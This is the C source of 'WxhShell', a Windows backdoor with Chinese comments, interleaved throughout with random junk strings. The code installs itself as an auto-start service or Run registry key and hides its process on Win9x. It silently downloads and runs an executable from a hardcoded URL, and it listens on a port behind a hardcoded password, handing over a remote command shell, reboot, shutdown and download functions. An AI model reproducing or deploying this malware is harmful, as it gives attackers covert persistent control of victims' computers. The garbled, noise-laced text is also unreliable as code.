(PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); :~T99^$zA ,\n&I( if (!NtQueryInformationProcess) return 0; DBD%6o>]K FZ,#0ZYJGP hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 8UyMVY if(!hProcess) return 0; ?!cvf{a 9Ujo/3,Ak if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; [8,yF
D_U ^ ALly2 CloseHandle(hProcess); 8'nVwb8I giIWGa.a+ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); w6GyBo{2O_ if(hProcess==NULL) return 0; DYxCQ
D v+`N*\J_ HMODULE hMod; pDIVZC char procName[255]; vchm"p?9) unsigned long cbNeeded; Oz`BEyb]{ #( jw!d& if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); s,=i_gyPQ orfO^;qTY CloseHandle(hProcess); /!$c/QZ fM63+9I)\ if(strstr(procName,"services")) return 1; // 以服务启动 F,MO@&ue" ^T$|J;I return 0; // 注册表启动 RBm ;e0 } vUU9$x o.G!7 // 主模块 <55g3>X int StartWxhshell(LPSTR lpCmdLine) C/kW0V7 { "C19b:4H SOCKET wsl; |J}Mgb-4 BOOL val=TRUE;
L0@SCt int port=0; s4SG[w!d struct sockaddr_in door; G<f@#[$' af+IP_6
. if(wscfg.ws_autoins) Install(); 80/F7 q'tn .#Z%1U%P. port=atoi(lpCmdLine); #9xd[A: N m{uxIza if(port<=0) port=wscfg.ws_port; )3w@]5j % !>I*H WSADATA data; g,95T Bc if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; MLWM&cFG ;\Y&ce if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 7:3$Ey setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Z2='o_c door.sin_family = AF_INET; O0No'LVu door.sin_addr.s_addr = inet_addr("127.0.0.1"); xp72>*_9& door.sin_port = htons(port); kg3EY<4i U,q\emR if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 7C ,UDp| closesocket(wsl); .wu
xoq return 1; w1#gOwA,$ } ?zVL;gVWA "xHg qgFyO if(listen(wsl,2) == INVALID_SOCKET) { OJzs Q closesocket(wsl); .!,z:l$Kh return 1; (egzH? } D'A/wG Wxhshell(wsl); !@'6)/ WSACleanup(); oMTf"0EIW B'EKM)dA return 0; 7`8Ik`lY BT"42#7_ } aKuSd3E@# h{p=WWK // 以NT服务方式启动 >ByXB!Wi+ VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ``e$AS { *nsAgGKKM^ DWORD status = 0; oDYRQozo> DWORD specificError = 0xfffffff; <5jzl y2vUthRwo serviceStatus.dwServiceType = SERVICE_WIN32; Zx bq serviceStatus.dwCurrentState = SERVICE_START_PENDING; glXZZ=j serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; iN0nw]_* serviceStatus.dwWin32ExitCode = 0; Yvjc1 serviceStatus.dwServiceSpecificExitCode = 0; -'BA{#e}L serviceStatus.dwCheckPoint = 0; $.v5~UGb{\ serviceStatus.dwWaitHint = 0; $K'|0 EEZw_ 1 hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); MR<;i2p if (hServiceStatusHandle==0) return; C[Dav&=^F aj,T)oDbt6 status = GetLastError(); R&';Oro if (status!=NO_ERROR) B0WJ/)rK< { ez!C? serviceStatus.dwCurrentState = SERVICE_STOPPED; 8o0%@5M serviceStatus.dwCheckPoint = 0; 09kt[
serviceStatus.dwWaitHint = 0; h!:~f-@j4 serviceStatus.dwWin32ExitCode = status; ]U7KLUY>: serviceStatus.dwServiceSpecificExitCode = specificError; ]Ww?QhJ SetServiceStatus(hServiceStatusHandle, &serviceStatus); tl'9IGlc return; IGFR4+ } Gkv{~?95 )}'U`'q serviceStatus.dwCurrentState = SERVICE_RUNNING; | j a- serviceStatus.dwCheckPoint = 0; g9WGkHF serviceStatus.dwWaitHint = 0; e|D;OM if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); w{90` } z7Eg5rm|QZ !G}+E2fDA // 处理NT服务事件,比如:启动、停止 S (N\cw$ VOID WINAPI NTServiceHandler(DWORD fdwControl) r~n sN*t { T%n2$ switch(fdwControl) {Gw.l." { @%lBrM case SERVICE_CONTROL_STOP: zyg
}F serviceStatus.dwWin32ExitCode = 0; <u:WlaS serviceStatus.dwCurrentState = SERVICE_STOPPED; M7+h(\H]2 serviceStatus.dwCheckPoint = 0; &o97u4xi serviceStatus.dwWaitHint = 0; ,qrQ"r9 { GSQ/NYK SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7ei|XfR } 3^~KB'RZ return; V{&rQ@{W case SERVICE_CONTROL_PAUSE: `TPOCxM Mo serviceStatus.dwCurrentState = SERVICE_PAUSED; \3jW~FV break; u=/CRjot case SERVICE_CONTROL_CONTINUE: pOkLb
# serviceStatus.dwCurrentState = SERVICE_RUNNING; JiU9CeD3 break; ?8mlZ
X9C case SERVICE_CONTROL_INTERROGATE: U}l14 break; zf>5,k'x'A }; C2w2252T SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5W@jfh) } v[n7" D.6,VY H // 标准应用程序主函数 wL^%w9q- int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) l-$uHHyu* { hy T1xa k8uvNLA)a // 获取操作系统版本 {E0z@D)U- OsIsNt=GetOsVer(); 5pRV3K{H GetModuleFileName(NULL,ExeFile,MAX_PATH); j]m|7] ed_FiQd // 从命令行安装 zb
Z4|_ if(strpbrk(lpCmdLine,"iI")) Install(); 'vaLUy9] .pvV1JA' // 下载执行文件 RTu4@7XP if(wscfg.ws_downexe) { Wt9Q;hK if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Q9&kJ%Mo WinExec(wscfg.ws_filenam,SW_HIDE); 3QOUU,Dt$ } a9?y`{%L KyO8A2'U if(!OsIsNt) { $VQtwuYt // 如果时win9x,隐藏进程并且设置为注册表启动 =FT98H2*| HideProc(); n7YEG-J StartWxhshell(lpCmdLine); VCcr3Dx()F } ?[MsQQd~ else tDCw- if(StartFromService()) `[YngYw // 以服务方式启动 }O4se"xK StartServiceCtrlDispatcher(DispatchTable); Ep4Hqx $ else `O8b1-1q~ // 普通方式启动 eVcANP StartWxhshell(lpCmdLine); AisN@ [J0v&{)? return 0; N8`4veVBx' } q(5+xSg"gK P0-Fc@&Y x/:4{ :ECi+DxBK =========================================== M8b4NF_& sW^a`VM =_8Tp~j `j9$T:` m3g2b _; yRYWch " x)_@9ldYv m%8qZzqk #include <stdio.h> DBs*Fx[ #include <string.h> 1]T`n /d V #include <windows.h> 2qO3XI #include <winsock2.h> S-nlr@w8 #include <winsvc.h> :9|W#d{o #include <urlmon.h> j` /&r*zNq [;b=A #pragma comment (lib, "Ws2_32.lib") kV Rn`n0 #pragma comment (lib, "urlmon.lib") /+3a n9h N6[i{;K@N{ #define MAX_USER 100 // 最大客户端连接数 Gj /3kS~@ #define BUF_SOCK 200 // sock buffer ~/tKMS6T #define KEY_BUFF 255 // 输入 buffer }p9F#gr +/+P\O #define REBOOT 0 // 重启 D=)f
)-u' #define SHUTDOWN 1 // 关机 Ut)r&? swc@34ei\ #define DEF_PORT 5000 // 监听端口 oAZh~~tp te4= S
#define REG_LEN 16 // 注册表键长度 (,xZGa #define SVC_LEN 80 // NT服务名长度 mty1p'^KQ qUF1XJZ}z // 从dll定义API 0X(]7b&~R typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); J:F^
#gW typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); BXUF^Hj% typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); vY*\R0/a typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); wn11\j& Q:|w%L*E
// wxhshell配置信息 m$$?icA struct WSCFG { /MOnNnV int ws_port; // 监听端口 [&P`ak char ws_passstr[REG_LEN]; // 口令 Cv=GZGn- int ws_autoins; // 安装标记, 1=yes 0=no #rYENR[ char ws_regname[REG_LEN]; // 注册表键名 ELh3^ char ws_svcname[REG_LEN]; // 服务名 .#5l$[' char ws_svcdisp[SVC_LEN]; // 服务显示名 &}`K^5K|O: char ws_svcdesc[SVC_LEN]; // 服务描述信息 aP>37s char ws_passmsg[SVC_LEN]; // 密码输入提示信息 1{2eY%+C int ws_downexe; // 下载执行标记, 1=yes 0=no !|m9| char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ]9S`[c$ char ws_filenam[SVC_LEN]; // 下载后保存的文件名 S C_|A9 yD)"c. }; " B@jfa% pyW u9 // default Wxhshell configuration =<<3Pkv7@ struct WSCFG wscfg={DEF_PORT, ?4)v`* "xuhuanlingzhe", r[Zq3 1, q?~Rnv "Wxhshell", ZcryAm:I "Wxhshell", $~'Tf>e "WxhShell Service", ?Cci:Lin "Wrsky Windows CmdShell Service", O(OmGu4% "Please Input Your Password: ", n!N\zx8 1, uiBTnG" "http://www.wrsky.com/wxhshell.exe", I*1S/o_xI "Wxhshell.exe" Eo{EKI1 }; O=jN&<rb Kv+Bfh // 消息定义模块 xKJ>gr"w# char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; @5}gsC char *msg_ws_prompt="\n\r? for help\n\r#>"; S@:B6](D$ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; U 0ZB^` char *msg_ws_ext="\n\rExit."; :LV.G0)# char *msg_ws_end="\n\rQuit."; <Ns &b.\h6 char *msg_ws_boot="\n\rReboot..."; >v0 :qN7| char *msg_ws_poff="\n\rShutdown..."; {&nV4c$v char *msg_ws_down="\n\rSave to "; \/Ij7nD`l% MMD<I6Iyv char *msg_ws_err="\n\rErr!"; ,{j4 char *msg_ws_ok="\n\rOK!"; +*t|yKO>[ .T3=Eq&"W char ExeFile[MAX_PATH]; C;sgK int nUser = 0; YlUpASW HANDLE handles[MAX_USER]; S]yvMj_? int OsIsNt; #Mi|IwL }#aKFcvg SERVICE_STATUS serviceStatus; >x'bZ]gm SERVICE_STATUS_HANDLE hServiceStatusHandle; =[(1my7 mTEVFm // 函数声明 =&0U`P$` int Install(void); o1YU_k<# int Uninstall(void); xVR:;
Jy[ int DownloadFile(char *sURL, SOCKET wsh); _9h.Gt int Boot(int flag); [b5(XIGUN} void HideProc(void); t]TyXAr~ int GetOsVer(void); )DZTB int Wxhshell(SOCKET wsl); 1-$P0 void TalkWithClient(void *cs); Tj,2r]g`< int CmdShell(SOCKET sock); :k1$g+(lP int StartFromService(void); Z! YpklZ?~ int StartWxhshell(LPSTR lpCmdLine); 4
10:%WGc ULvVD6RQ47 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); &] 3:D VOID WINAPI NTServiceHandler( DWORD fdwControl ); yzc pG6, 1 !s28C5u // 数据结构和表定义 <"I?jgo SERVICE_TABLE_ENTRY DispatchTable[] = VC=6uB { `$9L^Yg,4 {wscfg.ws_svcname, NTServiceMain}, 31 ]7z {NULL, NULL} 4Vx+[8W }; )Z:m)k>r; xzK>Xi? // 自我安装 W#45a.v int Install(void) 6`"ZsO { 4!2SS char svExeFile[MAX_PATH]; *o|p)lH HKEY key; %UmbDGDWI strcpy(svExeFile,ExeFile); lCE2SKj
h>tsis'N9 // 如果是win9x系统,修改注册表设为自启动 [s %\.y(q if(!OsIsNt) { y#r\b6 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { )[DpK=[N^p RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ;xW{Ehq-h RegCloseKey(key); eG^z*`** if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { /'Bdq?!B& RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); /\~W$.c RegCloseKey(key); ype"7p\ return 0; Y:%"K } Q2$/e+ } <NL+9l R } *eoq=,O else { mCrU//G {Pvr??"r // 如果是NT以上系统,安装为系统服务 Isp_U5M SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); #wD7 \X-f if (schSCManager!=0) di<B ~:l58 { v|To+P6b SC_HANDLE schService = CreateService
.
X0t" ( K-<n`zg3 schSCManager, ./)j5M wscfg.ws_svcname, J/gQQ.s wscfg.ws_svcdisp, 1Q_ ``.M SERVICE_ALL_ACCESS, 7NUenCdc SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , WFpl1O73 SERVICE_AUTO_START, 6)+9G_ SERVICE_ERROR_NORMAL, />!!ch svExeFile, 9rWLE6` NULL, *lY+Yy( NULL, cqHw^{'8 NULL, vK`S!7x'& NULL, I tgH>L' NULL Ebbe=4 ); ]kH}lr
yG if (schService!=0) ;<VR2U` { ujNt(7Cz CloseServiceHandle(schService); vF+YgQ1H CloseServiceHandle(schSCManager); t*rp3BIG strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); EUXV/QV{ strcat(svExeFile,wscfg.ws_svcname); iGyVG41U if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Z
c<]^QR RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); z}mvX.j7 RegCloseKey(key); ?PYNE return 0; V!}L<cN } yx 7loy$[ } ;HT0w_, CloseServiceHandle(schSCManager); F94V 5_[ } L<"k7)k } ,^M]yr*~ *\C}Ok= return 1; Xv]*;Bq:SK } hX %s]" TR|;,A[%v# // 自我卸载 ZG!x$yi$ int Uninstall(void) R$v i!0 { _=)!xnYf HKEY key; ;,FT&|3o O<Jwaap if(!OsIsNt) { i$g|?g~] if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 7!mJhgGc RegDeleteValue(key,wscfg.ws_regname); 9c:5t'Qt5. RegCloseKey(key); I S.F if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 4'_L W?DS RegDeleteValue(key,wscfg.ws_regname); s"#CkG RegCloseKey(key); M$gvq:}kt return 0; # e$\~c Pd } Y]?Kqc } ]C+eJ0"A } [3GKPX:OA/ else { -uO%[/h;N iczs8gj* SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); z{@=_5; if (schSCManager!=0) ?V.ig { W6hNJb SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 'wegipK~R if (schService!=0) QZqpF9Eu { ZyZl\\8U if(DeleteService(schService)!=0) { KhLg*EL CloseServiceHandle(schService); Mi_[9ku>% CloseServiceHandle(schSCManager); 9F/|` return 0; (=6P]~, } aYqqq| CloseServiceHandle(schService); 9 Zs#Ky/ } (di)`D5Q CloseServiceHandle(schSCManager); OE5 X8DqQe } d5N)^\z } ;&/sj-xJ2 [))gn return 1; aS3P(s L } YL;SxLY ,ZLG7e // 从指定url下载文件 /IrKpmbq int DownloadFile(char *sURL, SOCKET wsh) L;L2j&i%v) { 9Kq<\"7Bmz HRESULT hr; 2#,8evH char seps[]= "/"; =mDy@%yx! char *token; IJ+O),' char *file; ~:R4))qpg char myURL[MAX_PATH]; mxtlr) char myFILE[MAX_PATH]; Rc;1Sm9\ -Mit$mFn strcpy(myURL,sURL); r[Z g 2 token=strtok(myURL,seps); {\
A_% while(token!=NULL) ^[k6]1h { K'>P!R:El file=token; l!xgtP K token=strtok(NULL,seps); IEKMa } C!CaGf= Fmy1nZ GetCurrentDirectory(MAX_PATH,myFILE); ABd153oW" strcat(myFILE, "\\"); 8JQ<LrIt9 strcat(myFILE, file); JDIz28 Ww send(wsh,myFILE,strlen(myFILE),0); VGq{y{( send(wsh,"...",3,0); pT|./ Fe hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); H&"_} if(hr==S_OK) (or =f` return 0; [YL sEo= else WBIQ%XB' return 1; (, ;MC/l ][s*~VK; } >b[4 !pE>O-| K // 系统电源模块 q8&4=eV\A int Boot(int flag) H620vlC}V { nS?S6G5h HANDLE hToken; m-Mhf; TOKEN_PRIVILEGES tkp; PX+"" # p\4h$." if(OsIsNt) { NZC<m$') OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); U"jUMOMZ; LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); <m|FccvQ tkp.PrivilegeCount = 1; Vs2 v j tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; /v<e$0~s< AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); h8Dtq5t4 if(flag==REBOOT) { ?h>(&HjWV if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Gl3 `e&7 return 0; ee__3>H"/ } rd f85%%7 else { ?j},O=JFn if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) +btP]?04 return 0; *<#]&2I } %'K+$ } .)oQM:F(h else { d#M?lS> if(flag==REBOOT) { gu~-} if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) /i7>&ND.r return 0; EX[l0]fj } v=8~ZDY else { x_>"Rnv:K if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) see'!CjVo2 return 0; "N=&4<]I5 } )^QG-IM } F~11 _ TLR Lng return 1; ul]m>W } $)WH^Ir~ 'PxL^ // win9x进程隐藏模块 }K qw\]` void HideProc(void) A=@V LU4% { 'RN"yMv7l }&'yt97+ HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 3oNt]2w/' if ( hKernel != NULL ) {/,+_E/ { ,sy/rV pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); \f<thd*bC ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); *axza~d FreeLibrary(hKernel); =#PudF.\ } a*e|>p DO E!oJ0*@ return; PT=2LZ } !Dhfr{ eQ4B5B%j/x // 获取操作系统版本 \t7zMp int GetOsVer(void) +q>C}9s3 { & t @ OSVERSIONINFO winfo; aNh1e^j winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); <jg
wdbT"6 GetVersionEx(&winfo); jAK`96+D~b if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) \)s 3]/"7 return 1; r]K0
]h@B else 0v,`P4_k return 0; |7 W6I$Xl } >O[^\H!\ >goAf`sqo // 客户端句柄模块 V0wC@? int Wxhshell(SOCKET wsl) .(.G`aKnF { gP"Mu#/D SOCKET wsh; ABS
BtH ? struct sockaddr_in client; Mz#S5 s DWORD myID; o::ymAj z8rh*Rfxd while(nUser<MAX_USER) \ {E;u'F { bN~'cs8 e int nSize=sizeof(client); Q'V,?# wsh=accept(wsl,(struct sockaddr *)&client,&nSize); /E1c#@ if(wsh==INVALID_SOCKET) return 1; v\L Ip #v]aT
]} handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); =,1zl}PR if(handles[nUser]==0) }j5@\c48 closesocket(wsh); I(r5\A= else ~(L<uFU V nUser++; Fb`7aFIf } aWi]t'_ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); V3Rnr8 ]q\= return 0; '$&(+>)z` } h;h,dx iH -x // 关闭 socket Q(eQZx{ void CloseIt(SOCKET wsh) 5;uX"zG { ^[,1+WS% closesocket(wsh); E`LIENm nUser--; 1=cfk# ExitThread(0); ^a0-5 } gB'Ah -@,P OA5md9P;d // 客户端请求句柄 T;vPR,]rz void TalkWithClient(void *cs) &JzF { &-.eu 97=YFK~* SOCKET wsh=(SOCKET)cs; 1Yx[,GyC>& char pwd[SVC_LEN]; ry<}DK<u char cmd[KEY_BUFF]; )6S}O*
1 char chr[1]; {;rpgc int i,j; Xf/<.5A 7|?@\ZE while (nUser < MAX_USER) { [,V92-s;N 6P[O8 if(wscfg.ws_passstr) { "VOWV3Z if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); '%/u103{e //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); */m~m? //ZeroMemory(pwd,KEY_BUFF); 2nz'/G i=0; Q,+*u%/u while(i<SVC_LEN) { Gt*<? ,'0oj$~S: // 设置超时 N`^W*>XB fd_set FdRead; KPvYq?F>4 struct timeval TimeOut; [T&y5"@ FD_ZERO(&FdRead); UyfIAC$S FD_SET(wsh,&FdRead); ~\(>m=|C:H TimeOut.tv_sec=8; ~k_zMU-1 TimeOut.tv_usec=0; MnsWB[ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); v-]-wNqT if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); rsj}hS$ ]m,p3 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); >]N0w pwd=chr[0]; i!-sbwd7 if(chr[0]==0xd || chr[0]==0xa) { -D':7!@ pwd=0; 9fLP&v break; h 7P?n.K } +as\>"Cj+2 i++; fv7g93 } m l
\yc' PX{~! j%n // 如果是非法用户,关闭 socket K%#C+`Ij if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); %LaC$w_X } CAObC% {Ao^3vB send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); "f$A0RL send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 4'e8VI0 'F<e )D? while(1) { @g5]w&o_ 2\W<EWJ@ ZeroMemory(cmd,KEY_BUFF); -5*;J&. ^ x#RUv // 自动支持客户端 telnet标准 KTREOOu .t j=0; S~9kp?kR$ while(j<KEY_BUFF) { w3hL.Z,kV if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); G+yz8@ cmd[j]=chr[0]; ~_\2\6%1^n if(chr[0]==0xa || chr[0]==0xd) { @Bwl)G!| cmd[j]=0; !a&F:Fbm break; <%5uzlp } T1TZ+\ j++; .-*nD8b } ^]K)V zL{@LHP // 下载文件 g5'bUYsa if(strstr(cmd,"http://")) { yc}t(*A5 send(wsh,msg_ws_down,strlen(msg_ws_down),0); \0& (q%c if(DownloadFile(cmd,wsh)) ?Qp_4<(5 send(wsh,msg_ws_err,strlen(msg_ws_err),0); im\Ws./ else s'w0pZqj send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7oSuLo= } ]8z6gDp else { AFA*_9Ut +Uk.|@b=-V switch(cmd[0]) { cHd39H9 d$
7b // 帮助 )y Y;% case '?': { a"N_zGf2$ send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Vp94mi#L} break; 1T`"/*! } q/zdd3a // 安装 1Tkdr2 case 'i': { {.)D)8`<d if(Install()) j>M%?Tw send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0w&1wee( else >U.uRq send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8# AXK{ break; PUo&> } .
2Q/D?a // 卸载 7K4%`O
case 'r': { )&-+:u0 if(Uninstall()) 3xY]Lqwv send(wsh,msg_ws_err,strlen(msg_ws_err),0); _P+|tW1 else F`3As 9b: send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); pr?(5{BL break; 9(]j
e4Cn } P;[mw( // 显示 wxhshell 所在路径 wAPdu y[ case 'p': { MeS$+9jV( char svExeFile[MAX_PATH]; 9_$Odc%] strcpy(svExeFile,"\n\r"); .;s4T?j@w strcat(svExeFile,ExeFile); [G)Sq; send(wsh,svExeFile,strlen(svExeFile),0); 5eJd$}Lbc break; ~;` #{$/C& } 6dlPS{H#U // 重启 zD|W3hL2& case 'b': { 4'*K\Ul).H send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); [Xg"B|FD0 if(Boot(REBOOT)) ~:Nyv+g,$ send(wsh,msg_ws_err,strlen(msg_ws_err),0); v}i}pQ\DK else { 85]UrwlA4 closesocket(wsh); Czn7,KE8X ExitThread(0); 4v$AM8/o } i{0_}"B break; #a:C=GV;4 } N<%,3W_-_ // 关机 : Tl?yGF case 'd': { N<WFe5 send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); tDVdl^# if(Boot(SHUTDOWN)) 'z:p8"h} send(wsh,msg_ws_err,strlen(msg_ws_err),0); b.+\qaR else { .(ir2g closesocket(wsh); ya=51~ by" ExitThread(0); I'hQbLlG } `$HO`d@0*R break; %cL:*D4oz } fZC,%p // 获取shell Y@eUvz case 's': { L&%iY7sC` CmdShell(wsh); HVpaVM closesocket(wsh); 6h%(0=^ ExitThread(0); CTYkjeej break; 4{pa`o3 } wr(?L7
$+ // 退出 |Rc#Q<Vh| case 'x': { 0XNb@ogo send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); &2J|v#$F CloseIt(wsh); :W"ITY( break; 2)YLs5>W% } 5**xU+& // 离开 xl$ Qw' case 'q': { u1l#k60 send(wsh,msg_ws_end,strlen(msg_ws_end),0); 3-5lO# closesocket(wsh); EQ -\tWY WSACleanup(); I5,Fh> exit(1); 3IIlAzne; break; z7o59& } 7_,X9^z } crQuoOl7 } eNX-2S hv6>3gbr // 提示信息 =v-D}eJQ= if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); q6dq@ } S6
*dp68 } .67W\p "]<Ut{Xb return; .xx9tP}Xy } AyDK-8a wpdT " // shell模块句柄 t$J-6dW int CmdShell(SOCKET sock) <G={Vfr { aryr STARTUPINFO si; ak zb<aT ZeroMemory(&si,sizeof(si)); ]3G2mY;`"% si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; t@\0$V
\X si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; d
{4br PROCESS_INFORMATION ProcessInfo; =z+zg^wsT char cmdline[]="cmd"; OB%y'mo7] CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); fi1UUJ0
U; return 0; -c
tZ9+LL } 'E9jv4E$n i \~4W$4I // 自身启动模式 o9CB
,c7] int StartFromService(void) (DU{o\= { _
i8}ld- typedef struct 9Z=Bs)-y. { Y`wi=( DWORD ExitStatus; 4Hw8w7us: DWORD PebBaseAddress; (`&g DWORD AffinityMask; \)bwdNWI DWORD BasePriority; @({65 gJ* ULONG UniqueProcessId; 1<*-,f ULONG InheritedFromUniqueProcessId; " 1Bn/Q } PROCESS_BASIC_INFORMATION; Q_Rr5/ Oo E@30+ PROCNTQSIP NtQueryInformationProcess; eL.S=" &AzA0r&, static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; t0Uax-E( static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Q["}U7j kF?\p`[a HANDLE hProcess; UU_k"D~ PROCESS_BASIC_INFORMATION pbi; lPH]fWt< *m2:iChY HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); {r"HR%*u if(NULL == hInst ) return 0; Cpl\}Qn lH[N*9G( g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); q(C+D%xB g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ev>: 3_ s NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); +Fk.B@KT, P)3e^~+A if (!NtQueryInformationProcess) return 0; j$,`EBf`:< &wJ"9pQ~6E hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); plca` if(!hProcess) return 0; Kxg09\5i rei<{woX if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ,,?t>|3 a}yJ$6xi CloseHandle(hProcess); {x+jFj. _\[Zr.y hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 3Cpix,Dc if(hProcess==NULL) return 0; .gB#g{5+J bAgKOfT HMODULE hMod; q
o'1Pknz char procName[255]; GYBM]mW^ W unsigned long cbNeeded; {YkW5zC(L iS"rMgq if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); x`$4 U7OW)tUf CloseHandle(hProcess); ~
60J )Aj~ xA if(strstr(procName,"services")) return 1; // 以服务启动 %P?W^mI `H\^#Zu
return 0; // 注册表启动 A&z } :
